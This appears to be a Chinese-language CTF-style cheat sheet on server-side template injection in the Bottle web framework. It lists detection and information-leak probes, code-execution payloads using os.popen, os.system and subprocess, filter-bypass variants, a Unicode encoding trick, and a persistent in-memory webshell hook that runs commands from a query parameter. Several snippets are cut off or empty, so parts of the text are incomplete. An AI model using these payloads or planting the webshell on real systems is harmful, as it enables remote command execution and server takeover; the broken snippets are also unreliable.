Python Bottle SSTI注入

Python Bottle SSTI注入
JatoposBottle简介
Bottle是一个 超轻量级的Python Web框架 ,适合做小型 API、原型、教学示例或嵌入式应用。它把常用的 Web 功能(路由、模板、静态文件、HTTP 请求/响应处理)都放到一个很小的包里, 简洁、高效、零依赖。
引擎特性
Bottle使用SimpleTemplate引擎或简称为 stpl,支持%语法。
SimpleTemplate 支持 Python 表达式,也因此容易出现 SSTI。
- 使用 类似 Python 的语法(表达式、方法、属性访问)。
- 支持 变量替换:
{{ var }}。 - 支持 控制结构(以
%开头):例如%if、%for、%while(常用%if、%for)。 - 默认不提供严格的沙箱环境 —— 即模板中通常可以执行 Python 表达式 / 调用内建对象,存在 SSTI 风险。
Bottle注入
漏洞发现
{{7*7}} |
信息泄露
{{request.environ}} |
代码执行
os.popen
{{__import__('os').popen('whoami').read()}} |
os.system
{{__import__('os').system('whoami')}} |
subprocess.check_output
{{__import__('subprocess').check_output('whoami', shell=True)}} |
python3.8+版本
可以利用海象符来进行赋值,那么就可以避免单行长度大于23
{{a:=''}} |
绕过
{}被ban
可以使用if
<div> |
或者 加个%直接当成py运行
<div> |
如果尖括号也被过滤
""" |
或者
""" |
特殊注入
python3 bottle框架斜体字引发的ssti模板注入
斜体字符集
斜体字符集指的是Decomposition后为同一个字符的字符集
下面这个链接可以查看字符集
https://www.compart.com/en/unicode/、
比如a
这些字符分解后都指向a,例如:á (U+00E1)分解为a(U+0065)+´(U+0301),á分解后指向a
原理
python3 直接支持所有Unicode字符(包括特殊样式),也就是说我们可以输入斜体字符并被识别。在代码中直接书写这些字符时,当我们用exec()执行代码的时候Python 解释器会先将我们输入的字符解码为 Unicode 码点(Code Points),再编译为字节码,最后在当前的命名空间中运行字节码。
但是只有两个字符ª (U+00AA),º (U+00BA)能够成功
原因:
这些特殊字符经过URL编码之后一个字符都必须以两个编码值表示。但是bottle在解析编码值的时候是按照一个编码值对应一个字符进行解析的。所以往往一个这些字符都会被识别成两个字符。只有位于U+0080(
<Padding Character> (PAD))到U+00BF(¿)区间的字符,也就是Latin-1 Supplement的一半。他们的URL编码都由%c2开头,后面再跟一个编码值。利用的时候只需要将开头的%c2删去就可以成功将原字符传入后端。其中只有ª(U+00AA),º(U+00BA),¹(U+00B9),²(U+00B2),³(U+00B3)有用,其中¹(U+00B9),²(U+00B2),³(U+00B3)在exec()时不会被python正确解析。
代码执行
脚本:
import re |
Bottle v0.13.2内存马
app.add_hook('after_request', lambda: __import__('bottle').abort(404,__import__('os').popen(request.query.get('cmd')).read())) |
然后在/路由直接?cmd=whoami就行了
""" |










